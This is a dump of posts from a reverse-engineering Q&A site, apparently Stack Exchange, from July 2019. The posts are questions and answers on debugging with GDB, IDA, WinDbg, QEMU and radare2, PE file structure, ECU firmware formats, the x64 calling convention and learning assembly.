  <row Id="21780" PostTypeId="1" CreationDate="2019-07-27T13:16:30.243" Score="0" ViewCount="307" Body="&lt;p&gt;How can I change je to jne via GDB tooL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eUp91.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eUp91.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29121" LastActivityDate="2019-07-27T13:16:30.243" Title="How to change operator by GDB?" Tags="|assembly|gdb|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21782" PostTypeId="1" CreationDate="2019-07-28T00:48:29.440" Score="1" ViewCount="182" Body="&lt;p&gt;i want to pentest some HG routers  in a way that i can try every thing without worrying if it would damage the router or not .... and a better view of debugging the actions .&lt;/p&gt;&#xA;" OwnerUserId="28935" LastActivityDate="2019-07-28T00:48:29.440" Title="How can I emulate Huawei routers HG5xx firmware?" Tags="|debugging|firmware|qemu|emulation|firmware-analysis|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21783" PostTypeId="1" CreationDate="2019-07-28T08:38:50.807" Score="1" ViewCount="231" Body="&lt;p&gt;i'm new to this and still learning a lot. Now i have managed to download the binary image from an Flash memory out of a unit having an OMAP5912 SoC. The SoC has an ARM9 family CPU core running little endian ARM code.&#xA;For now i could disassemble it using IDA Pro, but some things need to be checked at runtime.&#xA;Therefore i was looking for a way to execute instructions step-by-step, watching the registers, set breakpoints and such.&#xA;My binary has no symbols inside.&#xA;Is is possible to let QEMU emulate the CPU using &quot;qemu-sytem-arm&quot; and connect this to IDA Pro debugger?&#xA;If so, please help me in that, because i'm new to debugging.&lt;/p&gt;&#xA;" OwnerUserId="29157" LastActivityDate="2019-07-28T08:38:50.807" Title="Debugging arbitrary ARM binary image using IDA and QEMU" Tags="|ida|arm|qemu|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21784" PostTypeId="1" CreationDate="2019-07-28T13:13:59.333" Score="0" ViewCount="90" Body="&lt;p&gt;i dumped a exe/dll file from the memory with OllyDumpEx, now i understand i need to fix the address or something like this to use the dll or to run the exe, so how  can i do that?&lt;/p&gt;&#xA;" OwnerUserId="29026" LastActivityDate="2019-07-28T13:13:59.333" Title="How to execute an import exe/dll from memory" Tags="|unpacking|patch-reversing|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21785" PostTypeId="1" AcceptedAnswerId="21797" CreationDate="2019-07-28T14:42:33.280" Score="0" ViewCount="1304" Body="&lt;p&gt;I do kernel debugging by using a virtual com port. One machine (host) is debugging the other machine. I have a remote machine that has IDA, and I wish to connect to the debugging session in the host machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The setup is as here &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/remote-debugging-using-kd&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/remote-debugging-using-kd&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also followed the guide here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I setup a server using &lt;code&gt;.server tcp:port=5004&lt;/code&gt; (on a kernel kd session). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I connect remotely by using &lt;code&gt;cdb -remote tcp:Port=5004,Server=HOST&lt;/code&gt;&#xA;it works. But when I try to connect using IDA, it doesn't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have IDA 7.0 x64. I tried to use windbg(x64) debugger with connection string &lt;code&gt;tcp:Port=5004,Server=HOST&lt;/code&gt; and parameter &lt;code&gt;-remote&lt;/code&gt; and many other variations. It failed to launch in all cases. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It usually types: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Windbg: using debugging tools from 'C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\'&#xA;Connecting in kernel mode with 'tcp:port=5004,server=HOST'&#xA;Connect failed: The parameter is incorrect.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What did I do wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, the version of the debugging tools of IDA and in the host machine is the same. &lt;/p&gt;&#xA;" OwnerUserId="22690" LastEditorUserId="22690" LastEditDate="2019-07-29T10:14:43.740" LastActivityDate="2019-07-29T12:28:43.683" Title="Remote debugging using IDA, connecting to windbg server (kernel mode)" Tags="|ida|debuggers|windbg|kernel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21786" PostTypeId="2" ParentId="21752" CreationDate="2019-07-28T14:44:53.357" Score="2" Body="&lt;p&gt;According to &lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/build/x64-calling-convention?view=vs-2019&quot; rel=&quot;nofollow noreferrer&quot;&gt;Microsoft Docs&lt;/a&gt;, the ABI for &lt;code&gt;x64&lt;/code&gt; Windows looks like this:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The x64 Application Binary Interface (ABI) uses a four-register fast-call calling convention by default. Space is allocated on the call stack as a shadow store for callees to save those registers. There's a strict one-to-one correspondence between the arguments to a function call and the registers used for those arguments. Any argument that doesn’t fit in 8 bytes, or isn't 1, 2, 4, or 8 bytes, must be passed by reference. A single argument is never spread across multiple registers.&lt;/p&gt;&#xA;&lt;p&gt;The first four integer arguments are passed in registers. Integer values are passed in left-to-right order in RCX, RDX, R8, and R9, respectively. Arguments five and higher are passed on the stack. All arguments are right-justified in registers, so the callee can ignore the upper bits of the register and access only the portion of the register necessary.&lt;/p&gt;&#xA;&lt;p&gt;Any floating-point and double-precision arguments in the first four parameters are passed in XMM0 - XMM3, depending on position. The integer registers RCX, RDX, R8, and R9 that would normally be used for those positions are ignored, except in the case of varargs arguments.&lt;/p&gt;&#xA;&lt;p&gt;__m128 types, arrays, and strings are never passed by immediate value. Instead, a pointer is passed to memory allocated by the caller. Structs and unions of size 8, 16, 32, or 64 bits, and __m64 types, are passed as if they were integers of the same size. Structs or unions of other sizes are passed as a pointer to memory allocated by the caller.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You will also find more comprehensive description and examples at that website.&lt;/p&gt;&#xA;&lt;p&gt;To see how it works in practice, we can write simple program using the &lt;code&gt;FtpCommandA&lt;/code&gt; function and calling it like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;FtpCommandA(NULL, false, 1, &amp;quot;command&amp;quot;, 2, NULL);&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;After disassembling this simple program, you will see:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/DWCIF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DWCIF.png&quot; alt=&quot;x64CallingConvention&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can notice that indeed, first four arguments are passed using &lt;code&gt;rcx&lt;/code&gt;, &lt;code&gt;rdx&lt;/code&gt;, &lt;code&gt;r8&lt;/code&gt; and &lt;code&gt;r9&lt;/code&gt; registers while the last two are passed using the stack.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-07-28T14:44:53.357" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21787" PostTypeId="1" CreationDate="2019-07-28T15:10:40.307" Score="1" ViewCount="2305" Body="&lt;p&gt;I'm new to the ECU (or chip) tune concept, and I try to understand what is going on there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand the concept and the goal, but I'm having difficulties to understand what is actually going on there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I understand the process for tuning is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Download ECU firmware from the car. &lt;/li&gt;&#xA;&lt;li&gt;Modify some constant values (in the map).&lt;/li&gt;&#xA;&lt;li&gt;Write the modified ECU back to the car. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However, I can't understand what is the format of the downloaded ECU - is it just a regular firmware? I found many websites like &lt;a href=&quot;https://www.cardumps.net/ecu-files/Ford&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; which offer to download ECU  files, but I couldn't recognize the format - it doesn't look to me like any firmware, and I couldn't identify any CPU architecture on all the files I tried. In addition, the size of the files is almost always 512KB, 1024KB or 2048KB which is not very typical to firmware. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When downloading files from those sites I see that many of them referenced as ori (original?), some of them as map and some of them as bdm. (Needless to say, there is not much information about the formats in the sites..). What do these types mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I want to reverse engineer the firmware of the ECU - are those the files that I should look at?&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2019-07-29T10:08:19.807" Title="ECU tune and reverse engineering" Tags="|firmware|embedded|firmware-analysis|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21789" PostTypeId="1" CreationDate="2019-07-28T18:35:07.530" Score="1" ViewCount="322" Body="&lt;p&gt;while doing this, I dont know the whole file size (pe size + appended data size)&#xA;my PE file is embeded in othe pe file, so I dont know if it has appended data or not and also dont know its total size.&lt;/p&gt;&#xA;" OwnerUserId="29161" LastActivityDate="2020-08-22T04:07:10.770" Title="how can I know if PE file has appended data or not?" Tags="|pe|binary-format|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21790" PostTypeId="2" ParentId="21767" CreationDate="2019-07-28T21:03:43.183" Score="2" Body="&lt;p&gt;As it turns out, this class (and other not defined in the DEX file) are part of the standard Android library. Therefore, I suppose they're linked from a shared object at runtime.&lt;/p&gt;&#xA;" OwnerUserId="28279" LastActivityDate="2019-07-28T21:03:43.183" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21791" PostTypeId="1" AcceptedAnswerId="21814" CreationDate="2019-07-28T21:46:25.960" Score="2" ViewCount="1295" Body="&lt;p&gt;Hi all i got a western digital hard drive from a DVR which contains custom firmware so you will not be able to install any hard drive you want on the DVR device. (digital video recorder) something like what the xbox has by using a security sector i think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i extract this firmware and upload it on another drive ? or change the other drives hardwired serial to match the original custom drive ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;---A NOTE--&#xA;i want to use my own drives not the ones the company sells for x3 times as much which are the same drives (same model and brand) but they got a custom firmware or some kind of protection. If i install another hard drive a generic one the DVR refuses to accept it/see it, only the company's custom firmware drives are recognized even if they are the same brand and model. I need to see whats on the firmware and copy it and flash another identical (or not) drive with it so DVR's firmware can see it as an &quot;authorized&quot; drive. Cloning the custom disk to another wont work either.&lt;/p&gt;&#xA;" OwnerUserId="25853" LastEditorUserId="25853" LastEditDate="2019-07-31T15:03:20.643" LastActivityDate="2019-07-31T18:15:05.887" Title="How to extract firmware from a western digital hard drive with custom firmware" Tags="|firmware|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21792" PostTypeId="2" ParentId="21789" CreationDate="2019-07-29T01:02:29.723" Score="1" Body="&lt;p&gt;As far as I know, you can't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While &lt;code&gt;IMAGE_OPTIONAL_HEADER.SizeOfImage&lt;/code&gt; gives you the size of the whole PE file mapped to memory, it does not account for appended data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appended data is commonly called &quot;overlay&quot; and tools actually detect if overlay data is present by checking if the file contains more data than accounted for by the &lt;code&gt;SizeOfImage&lt;/code&gt; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know it is even more problematic - the PE loader does not load overlay data to memory. If an application wants to access overlay data it will have to access the file on disk, and if you take a memory dump only it will definitely lack any overlay data the application might have had.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2019-07-29T01:02:29.723" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21793" PostTypeId="1" AcceptedAnswerId="23016" CreationDate="2019-07-29T01:36:45.817" Score="1" ViewCount="448" Body="&lt;p&gt;when I am looking for packet editor, I found open project on &lt;a href=&quot;http://www.packeteditor.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.packeteditor.com/&lt;/a&gt;&#xA;when I learn how it works, I see that the application is injecting a dll named WSPE.dat, when I load this WSPE.dat to ida pro, I found it was a dll that has been obfuscated.&#xA;and it was something like this :&#xA;&lt;a href=&quot;https://i.stack.imgur.com/3CMBM.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3CMBM.jpg&quot; alt=&quot;SteveW obfuscator&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what is that SteveW section? I also see a lot of this obfuscator on other dll, but protectionId scan result it wasn't being packed&#xA;with this note :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Section [0x0] 'SteveW  ' has a higher physical size than virtual size..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and also this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning : Import Table is bad !!!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is the dll link :&#xA;&lt;a href=&quot;https://github.com/appsec-labs/Advanced_Packet_Editor/blob/master/Source/PacketEditor/WSPE.dat&quot; rel=&quot;nofollow noreferrer&quot;&gt;WSPE.dat&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29166" LastEditorUserId="29166" LastEditDate="2019-07-29T01:44:37.540" LastActivityDate="2020-03-11T03:11:52.770" Title="DLL obfuscator - what kind of obfuscator is this?" Tags="|dll|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21795" PostTypeId="2" ParentId="21787" CreationDate="2019-07-29T09:32:18.923" Score="2" Body="&lt;p&gt;It is a difficult question because there is no general answer. The layout of the FW  defined by the OEM and the ECU supplier together during design phase and it might be different between ECUs and OEMs. &#xA;Every ECUs has its own firmware(s) and constant parameter sets inside the Flash memory/ROM/Eeprom/other NVMs where the OEM and the supplier is able tune the ECU behaviour. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it is not easy to get this FW or parameter set from the ECU. Usually the debug ports of these ECUs are secured and only special types of FW-s can be programmed with the OEM programming tool most of the time via &lt;a href=&quot;https://en.wikipedia.org/wiki/Unified_Diagnostic_Services&quot; rel=&quot;nofollow noreferrer&quot;&gt;UDS&lt;/a&gt;. To avoid such a cases to read out the FW usually the RequestUpload routine is not implemented. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Often online and offline integrity and authenticity checks also included so you cannot just simply download / modify / upload a new parameter set to the ECU because it become defective. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not really know how does the ECU tunings works in the real life but I think these guys has use the tools from the OEMs or at least they reverse them and not the ECUs.&lt;/p&gt;&#xA;" OwnerUserId="27051" LastActivityDate="2019-07-29T09:32:18.923" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21796" PostTypeId="2" ParentId="21787" CreationDate="2019-07-29T10:08:19.807" Score="0" Body="&lt;p&gt;Alternatively, ECU tuning is done by replacing original ECU by another unit, which has proper software for tuning. For example: &lt;a href=&quot;https://www.maxxecu.com/products/race&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.maxxecu.com/products/race&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2019-07-29T10:08:19.807" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21797" PostTypeId="2" ParentId="21785" CreationDate="2019-07-29T12:28:43.683" Score="1" Body="&lt;p&gt;Eventually, I have used kdsrv(x86) in the host machine :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Kdsrv -t tcp:port=5006&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in IDA the following connection string:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;kdsrv:server=@{tcp:port=5006,server=HOST},trans=@{com:port=com1,baud=115200}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and it worked.&lt;/p&gt;&#xA;" OwnerUserId="22690" LastActivityDate="2019-07-29T12:28:43.683" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21798" PostTypeId="1" CreationDate="2019-07-29T16:15:59.750" Score="0" ViewCount="835" Body="&lt;p&gt;Hello i have qualcomm based bootloader for mdm9x07 platform i want to convert to bin format but i did not find any script that does the conversion &#xA;here are the mbn files : &lt;a href=&quot;http://51.15.188.30/mw40/NPRG9x07.mbn&quot; rel=&quot;nofollow noreferrer&quot;&gt;NPRG9x07.mbn&lt;/a&gt;&lt;a href=&quot;http://51.15.188.30/mw40/ENPRG9x07.mbn&quot; rel=&quot;nofollow noreferrer&quot;&gt;2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://51.15.188.30/mw40/ENPRG9x07.mbn&quot; rel=&quot;nofollow noreferrer&quot;&gt;ENPRG9x07.mbn&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29147" LastActivityDate="2023-08-25T12:09:16.143" Title="convert NPRG9x07.mbn to NPRG9x07.bin" Tags="|unpacking|binary-format|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21799" PostTypeId="1" CreationDate="2019-07-29T16:27:33.263" Score="3" ViewCount="574" Body="&lt;p&gt;I want to &lt;code&gt;MakeArray()&lt;/code&gt; to stack variables which can be done with IDA like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Q7wI8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q7wI8.png&quot; alt=&quot;MakeArray to stack variables&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;MakeArray() Create an array.  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;ea      - linear address  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;nitems  - size of array in items  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This function will create an array of the items with the same type as &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;the type of the item at 'ea'. If the byte at 'ea' is undefined, then  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;this function will create an array of bytes. How can I do that?&#xA;  Thanks.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;MakeArray()&lt;/code&gt;  works only on linear address and not on stack variables as shown above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can it be done?&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="29174" LastEditorUserId="29174" LastEditDate="2019-07-29T16:36:33.233" LastActivityDate="2020-10-20T23:37:08.747" Title="MakeArray from stack variables using idapython" Tags="|ida|idapython|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21800" PostTypeId="2" ParentId="11588" CreationDate="2019-07-29T21:54:14.457" Score="1" Body="&lt;p&gt;In addition to previous answers, you can also review memory via &lt;a href=&quot;https://radare.gitbooks.io/radare2book/visual_mode/visual_panels.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Visual panel&lt;/a&gt; (or just via &lt;a href=&quot;https://radare.gitbooks.io/radare2book/visual_mode/intro.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Visual mode&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;drr        ; to show register values&#xA;s rcx      ; for example, we're going to review address which is stores in rcx&#xA;V!         ; Open visual pannels&#xA;Press `m`  ; to select the menu panel&#xA;View -&amp;gt; Hexdump&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will see a new hex dump pannel. Just press &lt;code&gt;Enter&lt;/code&gt; to open this panel in &lt;code&gt;Zoom mode&lt;/code&gt; (Fullscreen).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vTogN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vTogN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note 0&lt;/strong&gt;: You can go through pannels by &lt;code&gt;tab&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note 1&lt;/strong&gt;: To seek back - use &lt;code&gt;shift + :&lt;/code&gt; to open console abd &lt;code&gt;s-&lt;/code&gt; to seek back.&lt;/p&gt;&#xA;" OwnerUserId="29175" LastActivityDate="2019-07-29T21:54:14.457" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21801" PostTypeId="2" ParentId="21799" CreationDate="2019-07-30T07:38:47.050" Score="1" Body="&lt;p&gt;As far as I remember you need to modify stack frame of the function in order to achieve your goal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stack frame in IDA is represented by the structure which has its own id and type. &#xA;In order to get this structure id you need you can use &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/idc-module.html#get_frame_id&quot; rel=&quot;nofollow noreferrer&quot;&gt;idc.get_frame_id&lt;/a&gt;&lt;br&gt;&#xA;In order to get structure itself in newer API (IDA 7.0 + if I remember it correctly) you can use &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/ida_frame-module.html#get_frame&quot; rel=&quot;nofollow noreferrer&quot;&gt;ida_frame.get_frame&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After getting either frame id or the structure, you can modify it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are working with structure, you can modify it with functions from module &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/toc-ida_struct-module.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;ida_struct&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are working with structure ID, you can use &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/idc-module.html#add_struc_member&quot; rel=&quot;nofollow noreferrer&quot;&gt;idc.add_struc_member&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll probably need to delete members of the frame occupying the required space first.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2019-07-30T07:38:47.050" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21802" PostTypeId="1" CreationDate="2019-07-30T11:33:40.730" Score="3" ViewCount="415" Body="&lt;p&gt;I just finished skimming the book &lt;em&gt;Art of Assembly&lt;/em&gt; by Randall Hyde.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now to get my feet wet in assembly/reverse engineering reading, I started the book &lt;a href=&quot;https://beginners.re&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Reverse Engineering for Beginners&lt;/em&gt;&lt;/a&gt;. The thing is when I write C samples and produce assembly code as author stated the assembly i get in GCC differs from what the one author provides. (I use &lt;code&gt;gcc -S -O3&lt;/code&gt; for the ones that are said to be optimized in book).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to get results like book or if getting results like author's is not the point how can I get the most out of this lovely book?&lt;/p&gt;&#xA;" OwnerUserId="29179" LastEditorUserId="245" LastEditDate="2019-07-31T21:33:48.647" LastActivityDate="2019-10-03T05:05:53.517" Title="How to use the book &quot;Reverse Engineering for Beginners&quot; by Yurichev?" Tags="|assembly|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21803" PostTypeId="2" ParentId="21606" CreationDate="2019-07-30T13:49:46.603" Score="4" Body="&lt;p&gt;I would guess that this is raw (unencoded) data and every row is consisted of two 16 bit integers stored in little-endian order. This means that&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;temperature = (float)(b[3] &amp;lt;&amp;lt; 8 + b[2]) / 10;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;b[2]&lt;/code&gt; is the third byte and &lt;code&gt;b[3]&lt;/code&gt; is the fourth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So using the above formula, the data would yield the following temperatures:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;81 00 8c 00; #Measurement 0x0081 - 14.0&#xA;82 00 aa 00; #Measurement 0x0082 - 17.0&#xA;83 00 04 01; #Measurement 0x0083 - 26.0&#xA;84 00 ff 00; #Measurement 0x0084 - 25.5&#xA;85 00 21 04; #Measurement 0x0085 - 105.7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a Python snippet which does the conversion given a string with space-separated hex values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;input = &quot;81 00 8c 00&quot;&#xA;byte_arr = input.split(&quot; &quot;)&#xA;&#xA;for i in range(len(byte_arr)):&#xA;    byte_arr[i] = int(byte_arr[i], 16)&#xA;&#xA;measurement_id = byte_arr[1] &amp;lt;&amp;lt; 8 | byte_arr[0]&#xA;temperature = (byte_arr[3] &amp;lt;&amp;lt; 8 | byte_arr[2]) / 10.0&#xA;&#xA;print(&quot;Measurement: %d&quot; % measurement_id)&#xA;print(&quot;Temperature: %.2f C°&quot; % temperature)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25850" LastEditorUserId="25850" LastEditDate="2019-08-09T08:16:08.803" LastActivityDate="2019-08-09T08:16:08.803" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21804" PostTypeId="2" ParentId="21802" CreationDate="2019-07-30T19:15:47.400" Score="4" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;What can i do to get results like book?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Just use the same version of the compiler and compile the code for the same architecture as the Author. Usually, there is explicitly stated which compiler version was used to get a particular assembly. For example:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0R3JC.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0R3JC.jpg&quot; alt=&quot;GCC_version&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hTm5O.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hTm5O.jpg&quot; alt=&quot;GCC_version2&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, there are several different versions of compiler used and if you want to get the same results, you have to use the version described at each listing.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;or if getting results like author's is not the point&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;em&gt;It's definitely not the point&lt;/em&gt;. The point is that &lt;strong&gt;you learn as much as possible&lt;/strong&gt; when reading this book.&lt;/p&gt;&#xA;&lt;p&gt;I would even say it may be better to get different results than these in the book. There are several reasons for it:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You will learn how the newer versions of the GCC compiler deal with the same C code, so for example what are new optimization methods.&lt;/li&gt;&#xA;&lt;li&gt;You will see different assembly performing the same task as the previous one - when you'll see big differences, you will probably want to think or search for more information about it and this way you'll remember it better.&lt;/li&gt;&#xA;&lt;li&gt;It encourages you to &lt;em&gt;understand&lt;/em&gt; the resulting assembly so you can compare it with the one presented by the Author - it's far more creative and productive work than just copying what you have already presented.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;how can i get the most out of this lovely book?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I would say, &lt;strong&gt;by practice&lt;/strong&gt;. If you don't practice what you have just learned, you will forget it very quickly. You can even omit some programs written there and just experiment on your own (like the Author suggested) - just write some code and try to find its fragments in disassembly.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-07-30T19:15:47.400" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
